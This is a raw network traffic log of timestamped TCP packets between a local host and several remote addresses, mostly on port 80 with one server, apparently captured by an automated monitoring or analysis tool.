Nov 9, 2024 22:09:50.147914886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147926092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147933006 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.147968054 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.147969961 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148010015 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148046970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148057938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148075104 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148117065 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148152113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148164988 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148175955 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148201942 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148221016 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148641109 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148653030 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148684025 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148686886 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148695946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148706913 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148710012 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148720026 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148722887 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148732901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148742914 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148761034 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148801088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148811102 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148813963 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148823977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148852110 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148868084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148879051 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148879051 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148909092 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148920059 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.148982048 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.148994923 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149007082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149018049 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149024963 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149030924 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149043083 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149055958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149058104 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149068117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149076939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149086952 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149115086 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149144888 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149156094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149167061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149173021 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149184942 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149215937 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149245024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149275064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149286985 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149302959 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149313927 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149319887 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149327040 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149339914 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149347067 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149372101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149389029 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149393082 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149405956 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149418116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149429083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149441004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149452925 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149466038 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149497986 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149522066 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149534941 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149553061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149566889 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149574041 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149578094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149593115 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149633884 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149635077 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149646997 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149657965 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149669886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149681091 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149693012 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149699926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149718046 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149729967 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149751902 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149764061 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149775982 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.149801970 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.149825096 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.151665926 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:50.151690006 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:50.151741982 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:50.151768923 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:50.151782990 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:50.151834011 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:50.155388117 CET	443	49931	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.155966043 CET	49931	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.156002998 CET	443	49931	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.156081915 CET	49931	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.173357010 CET	443	49932	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.173974991 CET	49932	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.174034119 CET	443	49932	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.174201965 CET	443	49932	20.189.173.4	192.168.2.5
Nov 9, 2024 22:09:50.174273968 CET	49932	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.174273968 CET	49932	443	192.168.2.5	20.189.173.4
Nov 9, 2024 22:09:50.187036991 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.187060118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.187073946 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.187099934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.187112093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.187124014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.187140942 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.187197924 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.199002028 CET	443	49936	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.199059963 CET	443	49936	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.199115038 CET	443	49936	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.199150085 CET	49936	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.199174881 CET	49936	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.200535059 CET	49943	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:50.200565100 CET	443	49943	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:50.200632095 CET	49943	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:50.200820923 CET	49943	443	192.168.2.5	23.198.7.168
Nov 9, 2024 22:09:50.200836897 CET	443	49943	23.198.7.168	192.168.2.5
Nov 9, 2024 22:09:50.202867031 CET	49936	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.202877045 CET	443	49936	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.205852032 CET	49944	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.205888987 CET	443	49944	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.205956936 CET	49944	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.206737041 CET	49944	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.206748962 CET	443	49944	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.227992058 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:50.228055954 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:50.228056908 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:50.228116035 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:50.228636026 CET	49926	443	192.168.2.5	23.47.50.162
Nov 9, 2024 22:09:50.228645086 CET	443	49926	23.47.50.162	192.168.2.5
Nov 9, 2024 22:09:50.260993958 CET	443	49937	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.261265039 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.261280060 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.261291027 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.261360884 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.261585951 CET	49937	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.261594057 CET	443	49937	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.261787891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.261822939 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.261836052 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.261858940 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.261859894 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.261878014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.261889935 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.261902094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.261905909 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.261921883 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.261960030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262332916 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262372017 CET	49937	443	192.168.2.5	13.107.246.45
Nov 9, 2024 22:09:50.262376070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262377977 CET	443	49937	13.107.246.45	192.168.2.5
Nov 9, 2024 22:09:50.262384892 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262387037 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262398958 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262422085 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262444973 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262475967 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262489080 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262499094 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262517929 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262530088 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262538910 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262541056 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262552977 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262573957 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262573957 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262594938 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262623072 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262634993 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262645006 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262649059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262659073 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262670040 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262672901 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262686014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262701035 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262722969 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262872934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262880087 CET	443	49933	40.126.32.72	192.168.2.5
Nov 9, 2024 22:09:50.262917995 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262945890 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262958050 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.262985945 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.262999058 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263022900 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263035059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263046980 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263061047 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263076067 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263104916 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263144970 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263160944 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263171911 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263183117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263196945 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263200998 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263207912 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263219118 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263223886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263235092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263246059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263252020 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263283014 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263284922 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263293982 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263303995 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263338089 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263344049 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263345957 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263358116 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263369083 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263381004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263396978 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263432980 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263448000 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263459921 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263469934 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263479948 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263488054 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263489962 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263529062 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263544083 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263569117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263580084 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263592005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263605118 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263626099 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263632059 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263644934 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263655901 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263674021 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263695002 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263710022 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263727903 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263745070 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263753891 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263756990 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263767004 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263771057 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263780117 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263803005 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263814926 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263827085 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263827085 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263844013 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263855934 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263890982 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263935089 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263945103 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263972998 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.263979912 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.263988018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264007092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264019012 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264030933 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264039040 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264043093 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264067888 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264081955 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264197111 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264251947 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264262915 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264286041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264305115 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264307022 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264317989 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264329910 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264337063 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264348030 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264349937 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264364958 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264374018 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264384985 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264386892 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264403105 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264419079 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264544964 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264586926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264697075 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264724016 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264736891 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264746904 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264746904 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264759064 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264765024 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264771938 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264786005 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264789104 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264815092 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264820099 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264826059 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264827013 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264837980 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264863014 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264888048 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264930010 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264941931 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264952898 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264967918 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264978886 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.264980078 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.264991999 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265008926 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265022993 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265053034 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265458107 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265503883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265511990 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265516996 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265551090 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265600920 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265614033 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265625954 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265638113 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265655041 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265655041 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265664101 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265678883 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265692949 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265697002 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265702963 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265727043 CET	49813	80	192.168.2.5	185.215.113.206
Nov 9, 2024 22:09:50.265737057 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265748978 CET	80	49813	185.215.113.206	192.168.2.5
Nov 9, 2024 22:09:50.265754938 CET	49813	80	192.168.2.5	185.215.113.206
